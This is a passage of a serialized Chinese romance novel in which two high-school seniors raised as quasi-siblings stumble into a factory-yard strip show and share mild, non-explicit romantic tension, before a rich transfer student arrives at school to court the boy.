孔净听着从里面传出来的嗡嗡声,感觉蒙古包里挤的不是人,而是无数急需进食的饥渴蚊蝇。 蒙古包侧边开一个很小的门,一个两只胳膊都纹了身的中年壮汉站在门边,一边嗑瓜子一边懒懒斜起眼皮看向他们。 “二十一个人。” 票价不算贵,但再添点儿就和电影票差不多了。 孔净正想讲个价,比如双人行打八折什么的,旁边一只冷白手掌已经把一张绿钞递了过去。 “……” 就你钱多。 孔净悄摸伸手在后面用指尖抵了下陈端的腰窝,陈端转头看她一眼。 中年纹身男把钱举高些,借着从门帘缝隙漏出来的光检查真钞□□,余光把孔净和陈端的小动作看得一清二楚,包着瓜子壳的嘴咧开一笑,想当然以为他们是背着家长偷偷出来约会谈恋爱的高中生。 “都成年了吧?”中年纹身男稀奇古怪地问。 “未成年人不能进去吗?你卖票的时候怎么不说?”孔净说,“现在退票可以吗?” “退不了。” 不等孔净和陈端反应,中年纹身男又笑了,“要进去也行,回去别告家长。” 孔净莫名:“什么别告家长??” 中年纹身男笑得古怪,飞快掀起门帘赶他们进去。 身后挡帘落下,视野随即被挂在顶上的彩色转灯渲染成暧昧粉,里面闹闹哄哄几乎全是男人的哄笑声,他们说的不是闽城话,天南地北各种方言。孔净听得懂,一些粗野下流的字词高频率钻进耳朵。 人实在太多,以防被冲散,陈端站在孔净身后,一手绕到侧边抓着她手腕,另一手抬起围成一个半圆帮她挡住潜在的揩油。 他们想离前面的舞台近一些,左突右挤,被周围的人压得紧贴在一起。 孔净有点透不过气,想说出去算了。 艰难转头看一眼,后面早就被堵上了。 这下好了,进退不得,只能踮起脚尖巴巴地往舞台那边望。 很快,前面简易舞台上有个穿劣质西装瘦猴样的男人出来主持,才刚说到祝愿大家有个满意的晚上的时候,底下的观众就迫不及待地轰他下去,叫嚷着表演快开始。 在迪斯科舞曲中,几个身材婀娜画浓妆的女人扭着腰肢从两边登场,她们穿类似连体比基尼的演出服,很少的面料上缀满水钻,每扭一下,身上那成千上百的水钻就在转灯下折射出霓虹光泽,屁股上的流苏像被狂风摧残的稻穗,狂乱地勾勒出她们想要的性感。 孔净直愣愣地望着她们,以为这已经是今晚的最大尺度了。 然而当台下的观众开始陆续往上面扔零钞,气氛一再被烘托,底下的呐喊声越来越大,舞女们跳得双颊燥红,腰扭成水蛇状的时候,音乐忽然为之一变,站在最前面的那个舞女突然将手上的羽毛扇往台下一扔,不断抛媚眼的同时两手翻折到背后。 台下的观众自动分成两拨,一拨屏息凝神恨不得把脸伸到台上去,另一拨高举拳头在空中一下一下地用力捶打,扯破嗓子喊着:脱!脱! 那个舞女两手在背后停顿,一秒,两秒……到第十秒,台下的观众涨红着脸,很多已经站到椅子上,好像要是再不进行下一步他们就要冲上去自己动手似的。 这时,舞女脸上才娇嗔一笑,随之,一片缀着水钻的布料从面前滑落。 四周是比涨潮还声势浩大的呐喊声,头顶上的转灯好像也加快了速度,很多很多人的荷尔蒙在这个密闭的空间里释放,蒙古包被这些看不见的物质充斥,好像下一秒就要爆开。 视线被前面站起来的人完全挡住,孔净已经看不到舞台上又发生了什么,但不用看也能想到。 她像被一道惊雷劈过,浑身焦麻焦麻的,脑子完全宕机,由于受到巨大惊吓,喉咙发惊,脑门、脖子和后背都在冒汗。 “……我们走吧。” 她嘴巴一张一合,被周围的声浪淹没,紧握在一起的手下意识分开,去抓陈端的。 左手本来就被他握着,右手伸出去握住一截大体量的滚烫腕骨,然而就在被她握住的一瞬,这手的主人用长而有力的指节往上一握,将她整个包握住。 不知道为什么,这一瞬间,孔净忽然一震。 身体里血液流速加快,在这个可以称之为下流但却是人类原始欲望流露的封闭空间里,她忽然很不合时宜地想到了两年前。 初中毕业那个暑假闲着没事做,孔净偶尔也会跟陈端一块去网吧,那时完全没有课业烦恼,孔净作为不玩网络的“老古板”一下打开新世界的大门,由赵兰兰提供名单,阿禾帮忙搞未删减版资源,孔净着实看了很大一批原滋原味的国内外著名影片。 那天下午陈端打游戏打疲了,孔净正好点开《泰坦尼克号》只看了一个片头,她问陈端要不要一起,陈端说不要。 可是孔净中途不经意转过脸,就看见陈端懒懒靠着椅背,两眼专注地盯着她这边的屏幕。 察觉到孔净的视线,陈端一点也不慌,清清爽爽地从兜里掏出自备耳机,换掉网吧的包头款,插上之后反客为主问孔净:“要吗?” 孔净快被他笑死,“椅子也拖过来一点啦,线不够长。” 耳机线不够长,但日影很长,电影也很长,他们窝在椅子里,肩挨着肩、胳膊贴着胳膊,电影里的每一句台词都通过同一副耳机传入孔净的右耳和陈端的左耳。 当影片播放到1小时25分44秒,屏幕里一只湿漉漉的手在车窗上用力一压拖出指痕,画面一转,男女主在车内赤||身相对,女主对男主说你在颤抖时,屏幕外的两个少年表面强壮镇定,猛烈鼓噪的心跳仿佛也通过耳机反向导入到影片里,然后再顺着音频设备回传给对方听。 而此刻,孔净站在陈端前面,后背紧紧贴着他的前身,不再需要一副耳机,他们加速的心跳趋于同频,上升的体温互相传递。 她几乎要被紧贴在她身后的陈端给烫伤了。 孔净隐秘地感到不自在,不完全是尴尬,她说不上来。 本能地想要逃离。 转头,彩灯转动的速度似乎更快,周围的声浪也更喧嚣了,她一阵眼晕,感觉自己就要被吞噬。 然而身后陈端的手握着她,在现实与虚幻之间,仿佛有种致命的魔力,可以拉起她让她从这种狂热的靡艳中抽离,也可以轻轻一推让她彻底坠入看不见尽头的欲望深渊。 孔净觉得喉咙很干,很不舒服,嘴巴又张张合合。 但具体说了什么,发没发出字音,她完全没意识。 挣开陈端的手,转身不管不顾奋力往外面挤。 陈端在后面拉了她一下,也被她甩开了。 跑出蒙古包的时候,那个守在门口的中年纹身男看他们前后跑出来逃也似的姿态,从喉咙里发出咕噜噜的奇异笑声。 孔净的脸很烫,大步往前走。 厂区的路灯要隔很长一段路才有一个,今晚的月亮很稀薄,她感觉自己回到了那片森林里。 耳朵好像也出了问题,四周的石材切割声明明那么尖刻,滑进耳道里却变成迪斯科舞曲和根本不存在的呻|吟。 孔净受到的冲击太大,越走越快,后面几乎变成了小跑。 陈端仗着比她高,腿比她长,不急不缓地插兜跟在她身后,“你怎么了?” 嗓音清清爽爽,甚至还带点看她笑话的意味。 孔净脑袋里嗡的一下,转头,“怎么了?刚才……” 早知道是这种“歌舞表演”,打死她都不会去看,林叔真是,也不提醒一下。 陈端一脸清白模样,居然还反问一句,“刚才怎么?” 孔净像看外星人一样看他,“你没看见?” “看见了。” 跟看电影激情画面没什么区别。 但孔净不一样,这毕竟是现实,她盯着陈端:“……难道Lily姐说的是真的?” 陈端一看孔净表情就知道Lily一定没说好话,“她说什么?” 说你是基。 “没什么……”她干笑两声,想蒙混过去。 陈端看见她挠手的小动作了,本来知不知道都行,一下变成必须知道了。 “说不说?” 陈端往前走两步,颀长的身影很有压迫感。 “诶你……”孔净倒退着往后走,“别过来啊,你这人,我不理解但是尊重,放心放心……”? 陈端步步紧逼,孔净嘻嘻哈哈地继续往后退。 她想到什么,嘴比脑子快,“不过你真的一点反应都没有?” 陈端脚步放慢,再开腔时嗓音低沉,带着一点危险的哑。 “你指什么反应?” “就——” 孔净目光胡乱往他身上上下一瞟,很直白的打量。 陈端有时候是真的很想问问孔净,在她眼里他是不是就是个没有性别区分的橡皮人? 就算是姐弟,做到这个份上…… 可又是谁前些天光是看他洗澡只看见个穿裤子的背影就心理阴影了? 他往前走两步,“再近点你看清楚些。”《 》 30-40 第31章 两颗酒窝旋着夜风,似有…… “谁要看你, 无聊。” 孔净耸了下肩。 再镇定不过的姐姐样。 然而转过身,风吹走脸上的热气,脑子抽了,才跟他讨论这种话题。 孔净和陈端上楼时, 李贤梅吃了饭刚好从楼上下来。 李贤梅本不想理他们, 但他们一看见她, 嘻嘻哈哈的斗嘴声一下就停了,见她就跟见了黑恶势力一样。 李贤梅很矛盾,他们越是这样她就越来火。 “去哪儿了?”她问。 “……外面, 随便逛了一下。” 孔净反应很快,就像那个中年纹身男说的, 去蒙古包的事不能告家长。 可是李贤梅又不傻。 这个打着歌舞表演名号的下流团伙,基本每个季度都要来厂区搜刮一波工人们的钱包。 前边几回没被孔净和陈端遇上, 他们都在学校上晚自习。李贤梅却见怪不怪, 每逢歌舞团来, 厂里的工人不管单不单身、带没带家属在身边,都跟打了兴奋剂一样,班也不上了,削尖脑袋就往蒙古包里冲。 她眼神微妙, “你们去看表演了?” 孔净想说没有, 但太过明显的谎言说出来, 反而会令听着更加恼怒。 她抿了下唇,下意识挪动脚尖踢了下陈端,让他也别出声去撞枪口。 楼梯间光线很暗,但李贤梅又不瞎,近在眼前的小动作又怎么会看不见。 然而不等她发火,陈端忽然开口:“去了。” “孔叔让去的, 他说好看。” 孔净:“……!!!” 孔大勇有前科,又整天晕晕乎乎的,说过什么没说过什么,就算现在找他本人来对峙,他恐怕也只会迷迷瞪瞪地假装回想一下,然后为了维护家主尊严,大声道:“就是我让他们去看的,怎么了?!” 完美的顶锅对象。 但陈端这句说完,李贤梅就像是个被点燃的炮仗,瞬间劈里啪啦冲他来。 李贤梅骂陈端、骂孔大勇、骂厂区里这些不要脸的下流男人…… 矛盾转移,孔净被边缘化,木木然站在那儿听李贤梅骂。 等在厂房里的工人迟迟不见李贤梅身影,跑来喊人,李贤梅才止声,愤愤然离开。 “叫你别开口——嘶!” 李贤梅一走,孔净没忍住,又伸腿去踢陈端,一动才发现站久了腿麻了,身体往楼梯下面倒,两手慌忙去抓陈端。 陈端被她隔着衣料在胸腹处一顿乱挠,单手从她身后绕过,手掌扣住她侧腰就把人提了起来。 “喂——” 孔净双脚忽然离地,并且半边腿还是麻的,被陈端扣住腰用劲感觉更麻了,十万只蚂蚁在皮肤上乱爬,她一激动两手就更乱抓个不停。 陈端把她提着带上二楼,抬脚踢开房间门,以防真的被她抓伤,灯都没开,直接走到靠窗的那张床边,弯腰把人放下。 孔净像是摔了个屁股墩,床板发出吱吖呻|吟,出于惯性上半身往后仰,直接躺在床上。 两手还抓着陈端身前的衣料,因此带得陈端也俯下身来。 黑暗中他们好像离得很近,孔净躺在床板上朦朦胧胧看见他放大在眼前的轮廓,嗅见他衣服上残留的皂香。 “你喘什么啊?”孔净伸手推了他一下,“好像我很重的样子。起来,去开灯。” “……嗯。” 不是因为她重所以喘。 而且,没到喘的程度。 只是,不由得呼吸加重。 黑暗中,陈端身形顿了顿,把手臂从她单薄的脊背和床板之间抽出来,高挺身影慢慢站直。 走去开灯。 灯太亮,孔净一下抬起胳膊搭在眉骨上挡住光线。 余光瞥见陈端背对着站在门边,她问:“要出去吗?去哪儿?” 陈端没回头,声音低沉暗哑,像是有发烫的砂砾从喉咙里滚过,“浴室。” “哦。” 孔净听见门板关合的声音,过了会,才发出疑问:浴室? 可是他毛巾换洗衣服什么都没拿,去干嘛? 孔净感觉腿麻劲已经过去了,撑着床沿坐起来,身体一有所动作,粘附在皮肤、衣料上的气味因子就散落在空气里,被吸进鼻腔。 “奇怪,用的不是同一款洗衣皂?怎么他的味道这么好闻。” 孔净皱起鼻子嗅了嗅,没嗅出个所以然来。 她起来坐到书桌前,抓紧时间再看会儿书。 陈端回来时头发是湿的,T恤没穿,搭在一侧肩膀上,冷白皮肤直接暴露在明亮光线里,肌肉紧实,线条起伏有致,网络上和小说里鼓吹的腹肌和人鱼线他都有,几颗晶莹水珠从他腹部垂直滑落,被松松低低的裤腰阻停,吸吮。 孔净只回头看了一眼,“真的去洗澡了?” “嗯。” “什么时候练的新技能?连香皂都不用就把澡洗了。” 孔净继续埋头看书。 翻过一页之后才发现一直没听到回应,身后那人安安静静的。 捏着笔转头,陈端还是刚进来时那副造型,但是垫着枕头靠在床头,湿发垂在额前,冰白的眼皮微垂,姿态慵懒,像是刚刚饱食过的兽。 这个比喻或许不太准确,因为兽是要食肉的,而他用以果腹的可能是素食,所以尽管暂时解决了饥饿,但远不到餍足的程度。 “你怎么啦?”孔净问。 陈端慢慢撩起眼皮,孔净发现他的眼睛异常的黑和亮。 像是在锚定了的猎物周围伺机等候一般。 不知道为什么,孔净心惊一霎。 但很快,她抛掉脑海里这个没有来由的可笑比喻。 看书看懵了吧,这么能胡思乱想。 “没什么。”陈端对孔净扬唇一笑,俊美端方的面孔上顿时显出两颗小巧酒窝,很迷人。 “关灯了。”他说。 “什么啊,九点还不到!”孔净大叫。 “困了。”他修长指尖在开关上来回移动,像要按下去,又没按下去。 孔净用笔指着他抬起伸向墙边开关的手,“你再动下试试。” “咔哒!” 修长指尖按下开关。 “……”孔净在黑暗中抬高音量,喊他名字,“陈、端!” “嗯,我在。”带笑的清爽嗓音。 孔净被气吐血,刚要站起来,“咔哒!”灯又亮了。 陈端裸着上半身倚在床头,唇红齿白,笑得肆意又张扬。 两颗酒窝旋着夜风,似有暗香袭来。 孔净警告他,“不要拖我后腿。” 很有气势地皱起鼻子凶一下,然后继续转回书桌前。 陈端当真没再捣乱,后来听见有均匀的呼吸声响起,孔净才发现他已经睡着了。 “不是觉轻吗,开着灯也能睡。”孔净无语,起身走到他床边。 弯腰抻开整齐叠放在床尾的凉被,视线上移,见他山脊般起伏有致的腹肌随呼吸起落,被裤腰松紧带卡着,下面隆起的…… 孔净十指一松,捏着的凉被随即滑下,斜斜搭在躺着的人身上,都没盖好,但孔净没有再去帮他弄一弄的意思。 她抿紧唇,快速拿了洗澡要用的东西,直接出去了。 暑期集训时间过得很快,每天重复听课、做卷子、改卷子…… 待到桌上那个专门用来收集卷子的文件夹快满了,也就开学了。 对于高三生来说,没有什么比一日□□近的高考时间更能挑动神经,但清安高中忽然出了一件轰动年级甚至全校的大事。 有个姓戴的转校生空降清安高中高三(18)班。 转校生不算特别稀奇,稀奇的是她第一天来学校时坐的车。 “很贵很贵就对了,而且她是被司机送来的,你能想象吗?戴白手套的司机帮她开车门!” “听起来像在拍电视剧。” “这么有钱干嘛转到我们学校?” “好像已经打算出国了,但老家是这边的,出国前一年回来陪阿嬷阿公。” “这么爽……” 消息传到7班,前后排女生也都在热烈讨论。 “啊对了,孔净,你弟不也是18班的?哇,校草校花集齐在一起,好想去18班旁听哦。”前排叫齐淼的女生转过来,下巴垫在孔净堆在桌面的一摞书上。 “真搞笑,都没看见长什么样就乱封校花,就算拜金也不要这么明显吧。”一直没加入讨论的林语珂忽然出声。 “咦,就是看见过所以才叫她校花啊。”齐淼抬手在脸边比划了下,“是那种公主切的发型哦,穿的——” 林语珂:“原来评校花不是看长相和学习,而是看发型和打扮的吗?这样说的话,随便去职高拉一个会打扮的女生,就可以来清安高中当校花了。” 齐淼:“……懒得跟你说!好酸哦。” “无聊。”林语珂转头问孔净,“去厕所吗?” 孔净点头。 刚从后门走出教室,就听见前门那边有人在喊,“孔净,有人找你!” 孔净回头,帮忙喊她的那个女同学站在前门,看看教室里再看看教室外,然后冲着门边一个留着公主切发型、戴蝴蝶发卡的娇小女生说:“她在那!” 女生看向站在后门走廊上的孔净,一边好奇打量一边走近。 孔净同时也在看她,如果没猜错的话,眼前这个皮肤白皙、鹅蛋脸、穿淡粉套装裙的女生就是大家口中的新晋校花,戴望雅。 “你认识她?”林语珂也猜出了她的身份,悄悄问孔净。 孔净摇头。 不仅不认识,以前见都没见过。 “姐姐你好,我叫戴望雅,是新来的转校生。”戴望雅走到孔净面前,大方自我介绍。 “你好奇怪,又不认识,干嘛叫姐姐?显得你很小的样子。”林语珂第一眼就不喜欢这个叫戴望雅的。 学校规定不能戴配饰、统一穿校服,就她特殊。 “姐姐应该不会介意吧?”戴望雅没理会林语珂,她笑着说,“我是跟着陈端叫的。” 孔净一愣,“陈端平时也不叫我姐,大家都是叫名字。” “他可真是没礼貌。以后连他那份我也一起叫好了。”戴望雅说。 林语珂不爽被无视,“你不是才转来吗?说得好像和陈端很熟的样子。” “是才转来没错,但是,我跟他也算熟,我们经常一起连线打游戏。”她顿了顿,看着孔净,“还有,去年我也参加了美术比赛,陈端去市里领奖的时候我还找他合影了,姐姐当时也在,记起来了吗?” 陈端喜欢画画,但对比赛、投稿之类的事完全不感兴趣。孔净觉得他浪费天赋,去年撺掇他报名参加市教育局举办的书法美术比赛,没想到他懒懒散散的样子,居然真的给清安高中捧回一座奖杯。 当时孔净陪陈端一起去市里领奖,因为陈端出众的画作和外形,找他合影的人挺多,戴望雅是否在其中,孔净已经没印象了。 戴望雅从孔净的表情猜出一二,她夸张地叹一口气,“真让人失望呀,姐姐居然不记得我了。可是我还一直记着姐姐,经常和陈端连线的时候也会问一问姐姐的情况。” 孔净木木然。 戴望雅背着手愉快笑起来,“快要打铃,我先回班里了,中午请姐姐吃饭呀!拜拜!” “所以戴望雅真的早就认识陈端,而且还和他一直在网上联系很频?”林语珂提炼重点。 “不知道啊。”孔净说。 林语珂恍然大悟:“看她那样,该不会是因为陈端才转来我们学校的吧?还刚好在18班!” 孔净:“不知道啊。” “……”林语珂不禁吐槽,“好搞笑啊,为了一个男生专门转学,要不要这么倒贴!总算见识到什么叫恋爱脑了。” 因为被戴望雅占用了时间,孔净和她以生死时速跑去厕所再跑回来,老师都已经进教室了,她们才喊着报告赶紧坐回座位。 孔净翻开书,脑子里一晃而过戴望雅的娇美脸孔,忽然想到陈端曾经几次暗示过的那个“喜欢的人”。 孔净抿了下唇,一边听讲一边快速记着知识点。 第32章 那么养眼,又那么张扬 中午放学铃刚响, 7班教室的走廊上多了一个穿蓝白校服的挺拔身影,不少女生都在往外面看。 林语珂也拨了下刘海,快速往窗外瞄一眼。 她问孔净:“你跟陈端今天还是吃食堂?” “嗯。”孔净从桌肚抽出饭卡。 林语珂其实挺想和孔净陈端一道,但是陈端性格太冷, 每次都让她有种上赶着也讨不到好脸色的感觉。 “我先走了。”她只好和后排女生结伴。 孔净慢吞吞从教室出来, “你上午又逃课?” 看他样子是一点不知道他们班那个转校生来找她的事。 或者说, 知道但没反应? “嗯。” 关于逃课这事儿陈端一点不藏着,他表情丝毫不慌,抬手就勾走孔净拿在手里的饭卡带子。 孔净本来想问问他关于戴望雅的事, 动了动嘴巴,不知道为什么又没声了。 “陈端?!你回来了呀?正好, 我要请姐姐吃饭,你也一起啊!” 后面一道明亮女声响起, 看来不用孔净主动张口问了。 戴望雅毫不避讳, 走廊上好些人都听到她的声音, 纷纷转头看向这侧。 孔净出于礼貌,对戴望雅笑了下,“谢谢,不过不用了。” 戴望雅走到他们面前, “不要跟我客气呀, 我刚转来这边, 想快点交到朋友。” 她话是对孔净说的,眼睛却一直看向陈端。 陈端转头,问孔净:“你朋友?” 孔净:“……” 这句该我问你吧? 戴望雅转来没几天,但是在18班非常活跃,此前在陈端没逃课的时候也在他面前隆重自我介绍过,却没想到他居然对她一点印象都没有。 戴望雅轻笑, 歪头盯着陈端,“你干嘛装不认识?是因为我线下的形象和游戏里差很多吗?可是我不是已经给你发过很多照片了吗?” 陈端蹙眉。 因为太熟悉,所以孔净从他表情可以判断他和戴望雅应该是真的认识,起码在游戏里不算陌生。 “什么照片?”孔净问。 她看见陈端清冷的眉眼皱得更紧了。 “这个嘛,”戴望雅吐舌一笑,“是我和陈端的秘密,不能告诉姐姐哦。” “走了。”陈端两根长指直接拎着孔净的后衣领,带她转身离开。 孔净回头,戴望雅背着手站在走廊上,没有跟来。 这会儿食堂里肯定已经人满为患,孔净和陈端就没去凑热闹,他们临时改主意去校门对面的餐馆。 外面的餐馆虽然没有食堂那么火爆,但也是人挤人。 好容易找到两个空位,孔净先坐着,陈端去找老板点单。 过了会,陈端把孔净要的煲仔饭端来放在她面前,记得孔净的用餐习惯,顺手拿起桌上的辣椒酱,“三勺?” 陈端自己不吃辣,却奇怪地将学校周边每个餐馆的辣椒酱辣度摸得一清二楚,每次都能根据孔净的口味,精准控量。 孔净自己都不一定能有陈端这么准确。 孔净用勺子把辣椒酱抹开,拌匀。 尝一口,味道刚刚好。 “怎么不说话?”陈端点的沙茶面也好了。 “说什么?戴望雅?” 话出口就觉得不太对,以前曲线救国想从孔净这儿找突破口去追陈端的女生其实也不少,孔净都是一笑了之,有时同情心泛滥还会帮着递一下情书,当然,结果都是换来陈端的冷脸。 孔净心想或许是高三太大,本来学习时间就不够,还被不相关的人打扰,的确是会心烦。 陈端听见孔净说完,又蹙了下眉,“说她干什么?不就是一个神经病。” 孔净不禁抬眼,不管陈端实际上做起事来有多么极端,但他在言语上一直都是冷冷淡淡,很少对人对事发表这么情绪饱满的言论。 尽管这个言论是负面的。 但至少证明,对陈端来说,戴望雅和其他女生不一样。 “你们很熟?” “谁说的。”陈端又找老板要了一颗卤蛋,放进孔净碗里。 孔净看他另拿了双筷子把卤蛋夹碎,帮她拌进饭里。 他手指很长,骨节分明,冷白的肤色,无论做什么都很吸引人。 “戴望雅。” 孔净又重复一遍这个名字。 “她有臆想症。”陈端眼眸里一抹厌色,孔净听得出他明显不想再谈这个人。 可越是这样就越奇怪不是吗? 但孔净没再说了。 从餐馆出来,陈端在旁边奶茶店买了一杯奶茶给孔净,两人慢慢往学校里面走。 九月上旬,暑气消散,天朗气清,校道两旁的榕树不知不觉已经开始泛黄,闽城渐有秋意。 孔净吸着杯子里的黑糖珍珠,余光瞥见陈端低头看手机,修长指尖快速打字,她问:“你下午也不准备上课?” 陈端停顿一下,收起手机的同时把手塞兜里,因为太高,每次双手插进校服裤兜,后背都微微弓着,看起来几分颓懒和漫不经心。 “看情况。” “高三了,”孔净提醒他,“开学的摸底考试你名次下降很多。” 大部分人都参加了暑期集训,就算不愿意学也被逼灌进知识,陈端一个暑假没碰过书,每天都泡在网吧里,名次不下降才怪。 “知道,下次就又回来了。” 陈端说得轻松。 孔净其实不是很喜欢他这种对什么都不是特别上心的态度,有时候她督促的次数多了,好像是在逼他学一样。 “姐姐!哈喽!” 操场那边忽然传来一道亮丽女声。 孔净其实根本没听出那是戴望雅在叫她,但她的脸刚好偏向操场方向,于是很自然就循着声音看见那个女孩站在旗杆下高举一只手一跳一跳打招呼的样子。 这会儿是午休时间,操场上、教学楼走廊、校道上……哪儿哪儿都是散落的穿蓝白校服的人,很多被她吸引,都望向升旗台。 戴望雅浑然不觉的样子,或者说她习惯了当人群焦点,仍旧自顾自朝站在校道上的孔净挥舞手臂。 孔净正在想应该做出什么反应比较好,一只冷白手掌就伸过来,骨感十足的指节轻轻扣住她侧脸,把她视线掰向自己这边的同时带着她往前走。 “唔……”孔净挣了一下没挣开,鼻尖嗅到那股加了海盐气息的皂香,后颈随之感受到他手臂的重量。 同一时间,操场那边的声音也停了。 戴望雅立在旗杆下,远远看见校道上陈端一只手臂绕过孔净后脖子,把手扣在她侧脸上。他们两个靠得很近,男生很高,女生应该只到他肩膀的位置,但是为了配合她的身高,他微微弓着背,看起来就像揽着她。 事实上的确是揽着的。 校道上绿荫遮蔽,微风习习,一点不避讳人,不知道的还以为是校园情侣。 那么养眼,又那么张扬。 “他们一直都这样吗?”戴望雅问。 她旁边两个18班女生也朝校道那边望一眼,然后凑上来,“你说陈端和孔净?对啊,学校里的人都知道他们姐弟关系很好。最开始入学的时候,还被老师误会是早恋。” “我也记得!”另个女生说,“那时候是军训,大家都在操场上顶着大太阳踢正步,7班和18班离那么远,中间隔好多个班级方队,孔净好像是中暑了还是不小心崴脚了,反正就是大家都没反应过来怎么回事,一个身影就嗖地一下从18班方队里跑出来,直接冲到7班队伍里把孔净给打横抱起来了!!!” 光是听人讲述,脑子里就不由得冒出相应的场景。 “然后呢?”戴望雅后背靠着旗杆笑着问。 “然后大家就起哄啊!教官在后面喊,让他停下!但是陈端就是没听,操场都乱成一锅粥了,他硬是直接把人抱去了医务室……” “对对!教导主任知道之后直接杀去医务室,陈端那天被罚得好惨。大家都去吃晚饭了,他还一个人在操场上站军姿。” “不过话说他穿迷彩服真的好帅,特别手臂上还有那道疤,野得没边了……” 两个女生逐渐把话题走偏,热烈讨论起陈端的俊美皮囊以及特立独行的清冷做派。 戴望雅瞥向她们,就像在看两个没有大脑的低级花痴。 可是她很快变换表情,笑起来的样子又跟之前那样明亮。 “陈端手臂上的疤是怎么回事?”她问。 两个女生忽然犯难,“这个就不清楚了……” “不过陈端对孔净也太好了吧,从来没听说有哪个弟弟能对姐姐做到这个份上的。” “说不定人家就是姐控呢?” “真的假的,我也好想有一个像陈端这样的弟弟……” “望雅,你是要追陈端吗?”其中一个女生忽然问。 喜欢陈端的女生很多,大着胆子去追的也不少,但是最后每个都铩羽而归。 因为陈端根本不给追求者一点暧昧空间,甚至连基本的礼貌都没有,情书和小礼物收到就丢进垃圾桶,别人向他告白他连听完的耐心都没有,直接走人,留下追求者站在原地尴尬到想哭。 “说不定是他要追我呢。”戴望雅抬手摸了摸头上的蝴蝶发卡,下巴微微抬起,娇美的脸孔神情高傲,带着十足的把握。 两个女生一愣,心里存疑,但笑着恭维,“那肯定的啊,你这么漂亮又这么特别,看起来就和陈端很搭。” 戴望雅对她们笑笑,转身跳下升旗台。 “等等……”两个女生忙不迭跟在她身后,羡慕又迟疑地问,“你的发卡是水钻还是……在太阳底下好亮。” “什么水钻?”戴望雅完全没听过这个词语的样子,“前面加了个水字还能叫钻?” “啊!所以是真钻?!” 两个女生惊呼。 戴望雅“嗯”了一声,觉得她们又吵又笨,但是没办法,她刚来,是真的需要朋友。 转过身,她笑容甜美,“我请你们喝奶茶吧。” 两个女生一脸受宠若惊,左右围着她叽叽喳喳地往校门外走。 戴望雅回头,陈端和孔净的身影已经消失在绿荫浓密的校道,往教学楼那边去了。 第33章 礼物 下午, 7班最后一节是体育课,大家在老师的带领下绕操场跑圈。 刚开始队伍还挺齐,后来逐渐散开,男生们都冲在前面, 快速跑完800米后打球的打球, 回教室的回教室, 女生们则多数体力不支,绵绵软软的脚都提不起来,好像再多跑一米就能要了她们的命。 孔净感觉还好, 均匀呼吸着,率先跑完。 运动过后, 毛孔舒张,额头上覆着一层细密的汗珠, 孔净从兜里拿出面巾纸压了压, 慢慢走到旁边的台阶坐着等还没跑完的林语珂。 “有点嚣张哦, 刚转来就逃课。老师也不管管。” “管什么啊?反正我们班是平行班,真正好好学习的有几个?再说了,她都准备出国了,学不学又有什么关系?” “可是这样真的很搞心态!我也好想有个有钱的爸爸送我出国……” “哇你这都敢想!到时候她要是真的把陈端追到手, 你是不是也要做梦也给你复刻一个这样的校草男友?” “我要我要!建议克隆, 每人发一个!” …… 旁边几个女生围在一起一边吃零食一边闹哄哄地说话, 孔净其实没怎么在意,直到听到熟悉的名字。 转过脸,发现有几个脸熟的,好像都是18班的。 “啊!孔净……” 女生们也发现了孔净,想到刚才“克隆陈端然后每人一个”的言论被她听见,都有些不好意思。 孔净笑了一下, “你们班也上体育课吗?” “对啊!” 孔净放眼扫视操场一圈,没看见那个熟悉的修长身影。 “陈端……?” “逃课啦!”说话的这个女生也是今天午休时间跟在戴望雅身边的,她冲孔净挤眼睛,“望雅也逃了!” “哦。” 孔净看见林语珂跑完了,她站起身,拍拍裤子,“先走啦,拜拜。” “不跑完还不行……没见过这么变态的体育老师!累死了……” 林语珂脸白得像纸,走路一晃一晃的,感觉下一秒就要倒下,孔净赶紧快走几步把她扶住。 孔净看了下手表,“过不了一会儿就下课了,我们可以先去食堂。” 林语珂手脚虚浮地跟着她走,缓了会儿才反应过来,“你等会不跟陈端一起啊?” “不一起。”孔净说。 “噢。”林语珂刚才在操场也听到点风言风语,她转头跟孔净说,“18班也上体育课,但是没看见陈端和戴望雅,他俩不会是一起逃的吧?” “不知道啊。”孔净抽了张纸巾递给林语珂擦汗。 林语珂:“……” 又是这四个字。 林语珂看她一点不在意的样子,不禁皱眉道:“你不会这么快也被戴望雅笼络了吧?” “什么?” 林语珂:“听18班的人说,她给班上所有人都买了零食饮料,走得近的几个女生还得到了她送的饰品和明星周边。搞得像公主到民间巡查然后开仓放粮一样,真能装!” “不过,”林语珂说,“他们班的人得了好处也都是表面上和她好,背地里其实都在说她坏话。她以为她藏得很好,实际上谁看不出来她看不起人又要施舍给人的样子啊。” 林语珂分明只和戴望雅打过一次交道,而且还是因为孔净的缘故,她不知道为什么对戴望雅那么大的敌意。 “仇富吧。” 晚自习之前,齐淼在前面也听了一通林语珂针对戴望雅发表的牢骚,她一针见血地指出。 林语珂瞬间像炸毛的公鸡,齐淼抱头做防御状,不等林语珂出声,她又说:“还是说因为你喜欢陈端,所以讨厌放话要让陈端主动追求自己的戴望雅???” “怎么可能!我要喜欢也只会喜欢——” “谁谁?!说啊!” 齐淼竖起耳朵。 林语珂:“林北(你爸)!” “靠!” 齐淼直接出手挠她痒痒肉,林语珂尖叫着躲藏,孔净在旁边也被她拉来当人肉盾牌。 一阵嘻嘻哈哈的打闹过后,悠远清脆的铃声响起,大家陆续收回心神专注自习。 陈端这周逃课的次数比之前还要频繁,除了周一中午和周三下午他来找孔净吃饭,其余时候他们都没碰过面。 戴望雅也逃课,但是没陈端那么猖狂,并且时不时来7班找孔净。 “姐姐,明天我过生日,你和陈端都来帮我庆祝好不好?” 周六午休时间,戴望雅又来找孔净,因为齐淼不在,她就走进教室坐在她的位置上,转过身对着孔净。 孔净吃完饭有点犯困,单手支着额角。 戴望雅当她默认。 “那就这样说定了,明天上午我去接你们,姐姐你家是在嘉福石材厂吗?” 孔净奋力撕开快要黏在一起的眼缝,“你怎么知道我家……?” “这是最基本的情报,我怎么会不知道。”戴望雅做了美甲,不像Lily那么夸张,指甲修剪成方平形,涂了渐变裸色甲油,看起来很饱满,像果冻一样,她指尖轻叩桌面,像弹钢琴一样。 她不经意瞥向旁边,一直在暗中观察的林语珂像是被刺到一样,立即收回视线,低头翻开书。 戴望雅就笑着说:“语珂,你也来好不好?” 林语珂一愣,没想到戴望雅会主动邀请自己,她脸上写着抗拒。 “不要拒绝我,这样我会很伤心的。” 不等林语珂出声,戴望雅对她露出可怜巴巴的表情。 因为戴望雅本人真的很像一个小公主,她放低姿态故意讨好,就算是假的,也很难让人当面说不。 “我看看吧。”林语珂表情不太自然地说。 